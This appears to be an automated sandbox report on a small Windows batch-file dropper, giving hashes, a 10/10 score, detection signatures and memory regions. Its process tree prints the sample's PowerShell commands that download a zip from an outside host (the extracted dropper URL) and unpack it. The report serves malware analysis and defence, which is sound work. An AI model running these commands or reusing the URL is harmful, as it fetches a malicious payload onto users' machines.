Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 06:55

General

  • Target

    tesy - Copy (8).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2620

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          b91cc98a0f4dad7ad4789f794b316624

          SHA1

          008dcf84baf1530343d42fca18f517a83fda94ad

          SHA256

          08bc5d31a7e2767937408848a6fa2918b08209574b71418ebde2bd5218154134

          SHA512

          fcba993ac20a485d63cf24e99da7ac39be63cff363928e516ffd86ff8ffe5234c334544134c243808955d1b073d2233a4283ca74174ce7aad73c3468c054a472

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C2QGIKAVZDJW68AJD6OF.temp

          Filesize

          7KB

          MD5

          b91cc98a0f4dad7ad4789f794b316624

          SHA1

          008dcf84baf1530343d42fca18f517a83fda94ad

          SHA256

          08bc5d31a7e2767937408848a6fa2918b08209574b71418ebde2bd5218154134

          SHA512

          fcba993ac20a485d63cf24e99da7ac39be63cff363928e516ffd86ff8ffe5234c334544134c243808955d1b073d2233a4283ca74174ce7aad73c3468c054a472

        • memory/2208-10-0x00000000027C0000-0x0000000002840000-memory.dmp

          Filesize

          512KB

        • memory/2208-6-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

          Filesize

          9.6MB

        • memory/2208-8-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

          Filesize

          9.6MB

        • memory/2208-4-0x000000001B270000-0x000000001B552000-memory.dmp

          Filesize

          2.9MB

        • memory/2208-11-0x00000000027C0000-0x0000000002840000-memory.dmp

          Filesize

          512KB

        • memory/2208-9-0x00000000027C0000-0x0000000002840000-memory.dmp

          Filesize

          512KB

        • memory/2208-13-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

          Filesize

          9.6MB

        • memory/2208-7-0x00000000027C0000-0x0000000002840000-memory.dmp

          Filesize

          512KB

        • memory/2208-5-0x0000000001F40000-0x0000000001F48000-memory.dmp

          Filesize

          32KB

        • memory/2620-19-0x000000001B1B0000-0x000000001B492000-memory.dmp

          Filesize

          2.9MB

        • memory/2620-20-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

          Filesize

          9.6MB

        • memory/2620-22-0x0000000002A60000-0x0000000002AE0000-memory.dmp

          Filesize

          512KB

        • memory/2620-21-0x0000000002310000-0x0000000002318000-memory.dmp

          Filesize

          32KB

        • memory/2620-23-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

          Filesize

          9.6MB

        • memory/2620-26-0x0000000002A60000-0x0000000002AE0000-memory.dmp

          Filesize

          512KB

        • memory/2620-25-0x0000000002A60000-0x0000000002AE0000-memory.dmp

          Filesize

          512KB

        • memory/2620-24-0x0000000002A60000-0x0000000002AE0000-memory.dmp

          Filesize

          512KB

        • memory/2620-27-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

          Filesize

          9.6MB